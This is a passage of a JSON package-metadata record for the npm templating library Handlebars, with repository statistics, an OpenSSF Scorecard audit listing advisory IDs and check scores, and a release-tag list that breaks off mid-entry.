{"id":1813576,"name":"handlebars","ecosystem":"npm","description":"Handlebars provides the power necessary to let you build semantic templates effectively with no frustration","homepage":"https://handlebarsjs.com/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","keywords_array":["handlebars","mustache","template","html"],"namespace":null,"versions_count":81,"first_release_published_at":"2011-08-22T07:43:36.484Z","latest_release_published_at":"2026-03-26T20:46:39.280Z","latest_release_number":"4.7.9","last_synced_at":"2026-10-05T16:18:10.260Z","created_at":"2022-04-09T16:55:29.206Z","updated_at":"2026-10-05T23:16:59.740Z","registry_url":"https://www.npmjs.com/package/handlebars","install_command":"npm install handlebars","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"legacy":"3.0.8","latest":"4.7.9"},"contentPolicy":null},"repo_metadata":{"id":998342,"uuid":"809601","full_name":"handlebars-lang/handlebars.js","owner":"handlebars-lang","description":"Minimal templating on steroids.","archived":false,"fork":false,"pushed_at":"2026-06-24T23:40:45.000Z","size":4613,"stargazers_count":18679,"open_issues_count":116,"forks_count":2071,"subscribers_count":437,"default_branch":"master","last_synced_at":"2026-09-28T23:18:56.802Z","etag":null,"topics":["handlebars","mustache","templates"],"latest_commit_sha":null,"homepage":"http://handlebarsjs.com","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"linkedin/Burrow","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/handlebars-lang.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2010-07-31T18:54:46.000Z","updated_at":"2026-09-26T11:00:38.000Z","dependencies_parsed_at":"2023-09-22T06:08:40.588Z","dependency_job_id":"57b49b24-4bc7-4df8-b069-e31179883809","html_url":"https://github.com/handlebars-lang/handlebars.js","commit_stats":{"total_commits":1718,"total_committers":206,"mean_commits":8.339805825242719,"dds":0.519208381839348,"last_synced_commit":"f422bfdf3ed321c32c6eecfaa778de46275fb76d"},"previous_names":["wycats/handlebars.js"],"tags_count":90,"template":false,"template_full_name":null,"purl":"pkg:github/handlebars-lang/handlebars.js","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/handlebars-lang","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/sbom","scorecard":{"id":454219,"data":{"date":"2025-08-11","repo":{"name":"github.com/handlebars-lang/handlebars.js","commit":"cc8574e63121861c1c89ef495f9be89ef7dd2413"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Code-Review","score":3,"reason":"Found 9/24 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":1,"reason":"1 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/release.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/handlebars-lang/handlebars.js/release.yml/master?enable=pin","Warn: npmCommand not pinned by hash: tests/integration/rollup-test/test.sh:7","Warn: npmCommand not pinned by hash: tests/integration/webpack-babel-test/test.sh:7","Warn: npmCommand not pinned by hash: tests/integration/webpack-test/test.sh:7","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   4 out of   7 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 26 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"59 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-67hx-6x53-jw92","Warn: Project is vulnerable to: GHSA-qwcr-r2fm-qrc7","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-cwfw-4gq5-mrqx","Warn: Project is vulnerable to: GHSA-g95f-p29q-9xw4","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-pxg6-pf52-xh8x","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-gxpj-cx7g-858c","Warn: Project is vulnerable to: GHSA-w573-4hg7-7wgq","Warn: Project is vulnerable to: GHSA-c6rp-wrp9-qr4q","Warn: Project is vulnerable to: GHSA-rv95-896h-c2vc","Warn: Project is vulnerable to: GHSA-qw6h-vgh9-j6wx","Warn: Project is vulnerable to: GHSA-jchw-25xp-jwwc","Warn: Project is vulnerable to: GHSA-cxjh-pqwp-8mfp","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-4q6p-r6v2-jvc5","Warn: Project is vulnerable to: GHSA-c7qv-q95q-8v27","Warn: Project is vulnerable to: GHSA-qqgx-2p2h-9c37","Warn: Project is vulnerable to: GHSA-9c47-m6qq-7p4h","Warn: Project is vulnerable to: GHSA-76p3-8jx3-jpfq","Warn: Project is vulnerable to: GHSA-jf85-cpcp-j695","Warn: Project is vulnerable to: GHSA-fvqr-27wr-82fm","Warn: Project is vulnerable to: GHSA-4xc9-xhrj-v574","Warn: Project is vulnerable to: GHSA-x5rq-j2xg-h7qm","Warn: Project is vulnerable to: GHSA-p6mc-m468-83gw","Warn: Project is vulnerable to: GHSA-29mw-wpgm-hmr9","Warn: Project is vulnerable to: GHSA-35jh-r3h4-6jhm","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-hxm2-r34f-qmc5","Warn: Project is vulnerable to: GHSA-f8q6-p94x-37v3","Warn: Project is vulnerable to: GHSA-vh95-rmgr-6w4m","Warn: Project is vulnerable to: GHSA-xvch-5gv4-984h","Warn: Project is vulnerable to: GHSA-76c9-3jph-rj3q","Warn: Project is vulnerable to: GHSA-28xh-wpgr-7fm8","Warn: Project is vulnerable to: GHSA-9wv6-86v2-598j","Warn: Project is vulnerable to: GHSA-rhx6-c78j-4q9w","Warn: Project is vulnerable to: GHSA-hrpp-h998-j3pp","Warn: Project is vulnerable to: GHSA-p8p7-x288-28g6","Warn: Project is vulnerable to: GHSA-x3m3-4wpv-5vgc","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-m6fv-jmcg-4jfg","Warn: Project is vulnerable to: GHSA-cm22-4g7w-348p","Warn: Project is vulnerable to: GHSA-3jfq-g458-7qm9","Warn: Project is vulnerable to: GHSA-5955-9wpr-37jh","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-r628-mhmh-qjhw","Warn: Project is vulnerable to: GHSA-9r2w-394v-53qc","Warn: Project is vulnerable to: GHSA-qq89-hq3f-393p","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-72xf-g2v4-qvf3","Warn: Project is vulnerable to: GHSA-7p7h-4mm5-852v","Warn: Project is vulnerable to: GHSA-wr3j-pwj9-hqq6","Warn: Project is vulnerable to: GHSA-cf66-xwfp-gvc4","Warn: Project is vulnerable to: GHSA-4v9v-hfq4-rm2v","Warn: Project is vulnerable to: GHSA-9jgg-88mc-972h","Warn: Project is vulnerable to: GHSA-j8xg-fqg3-53r7","Warn: Project is vulnerable to: GHSA-3h5v-q93c-6h6q","Warn: Project is vulnerable to: GHSA-776f-qx25-q3cc"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-19T09:08:48.273Z","repository_id":998342,"created_at":"2025-08-19T09:08:48.274Z","updated_at":"2025-08-19T09:08:48.274Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341301770,"owners_count":37821172,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-28T02:00:06.534Z","response_time":114,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"handlebars-lang","name":"The Handlebars Templating Language","uuid":"19378685","kind":"organization","description":"","email":null,"website":"https://handlebarsjs.com/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/19378685?v=4","repositories_count":8,"last_synced_at":"2026-10-03T04:57:30.531Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/handlebars-lang","funding_links":[],"total_stars":18783,"followers":99,"following":0,"created_at":"2022-11-02T16:37:33.313Z","updated_at":"2026-10-03T04:57:30.551Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/handlebars-lang","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/handlebars-lang/repositories"},"tags":[{"name":"v4.7.9","sha":"dce542c9a660048d31f0981ac8a45c08b919bddb","kind":"tag","published_at":"2026-03-26T20:44:06.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.9","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.9/manifests"},{"name":"v4.7.8","sha":"8dc3d2517b41d12b1e06f88a449f30d27c137c21","kind":"tag","published_at":"2023-08-01T21:10:59.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.8","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.8/manifests"},{"name":"v4.7.7","sha":"a9a8e403213583ca90cb7c872d3a22796c37d961","kind":"tag","published_at":"2021-02-15T09:36:12.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.7","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.7/manifests"},{"name":"v4.7.6","sha":"e6ad93ea01bcde1f8ddaa4b4ebe572dd616abfaa","kind":"tag","published_at":"2020-04-03T17:56:25.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.6","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.6/manifests"},{"name":"v4.7.5","sha":"1fd2edee2a12fb228061fcde807905c6b14339c4","kind":"tag","published_at":"2020-04-02T19:09:52.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.5","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.5/manifests"},{"name":"v4.7.4","sha":"7adc19ab40917389fc1372d19677f1d024ec42b1","kind":"tag","published_at":"2020-04-01T17:20:34.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.4/manifests"},{"name":"v3.0.8","sha":"16bd606fec0ada4c811eb7afe6bfd619d88f3d37","kind":"tag","published_at":"2020-02-23T10:02:00.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.8","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.8/manifests"},{"name":"v4.7.3","sha":"c9789691af60b446f12f75dd9762f9d8fd3f36eb","kind":"tag","published_at":"2020-02-05T05:10:35.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.3/manifests"},{"name":"v4.7.2","sha":"586e672c8bba7db787bc9bfe9a9fde4ec98d5b4f","kind":"tag","published_at":"2020-01-13T20:53:16.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.2/manifests"},{"name":"v4.7.1","sha":"14ba3d0c43d75bcfcdbfb7c95c9fac99d88a17c8","kind":"tag","published_at":"2020-01-12T12:21:10.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.1/manifests"},{"name":"v4.7.0","sha":"0d5c807017f8ba6c6d947f9d6852033c8faa2e49","kind":"tag","published_at":"2020-01-10T16:24:09.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.7.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.7.0/manifests"},{"name":"v4.6.0","sha":"91a1b5d2f456cb733cbd88149fc9270973db79d7","kind":"tag","published_at":"2020-01-08T22:45:17.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.6.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.6.0/manifests"},{"name":"v4.5.3","sha":"c819c8b533934d2ac18001d7eb27a3205b00c2f3","kind":"tag","published_at":"2019-11-18T07:10:26.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.5.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"8de121d21c88a6ab877e3a0eec9daaac483f3bf0","kind":"tag","published_at":"2019-11-13T21:07:27.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.5.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"7ef86173abb446cf564ad6dc2646a4c361e2ab9f","kind":"tag","published_at":"2019-10-29T04:42:23.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.5.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"b24797da01afd4e849fdb315dea8335792974522","kind":"tag","published_at":"2019-10-28T18:47:51.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.5.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.5.0/manifests"},{"name":"v4.4.5","sha":"8e1cce79186ab6caeb8c6ec9c1f8bcfa1a40e83d","kind":"tag","published_at":"2019-10-20T21:08:10.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.5","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.5/manifests"},{"name":"v4.4.4","sha":"2ab261eab7835e9c80ad1cb7ef9fc9b0f46d6a57","kind":"tag","published_at":"2019-10-20T19:33:00.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.4/manifests"},{"name":"v4.4.3","sha":"2e53fba68f8c51f9aca97615944fdbdeba94ff62","kind":"tag","published_at":"2019-10-08T20:05:35.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.3/manifests"},{"name":"v4.4.2","sha":"b793350fec0bb652c0bb2658089d7002af27a76b","kind":"tag","published_at":"2019-10-02T20:44:36.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.2/manifests"},{"name":"v4.2.2","sha":"0d5c691f36baae183349c51c47228da45278c50a","kind":"tag","published_at":"2019-10-02T20:12:55.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/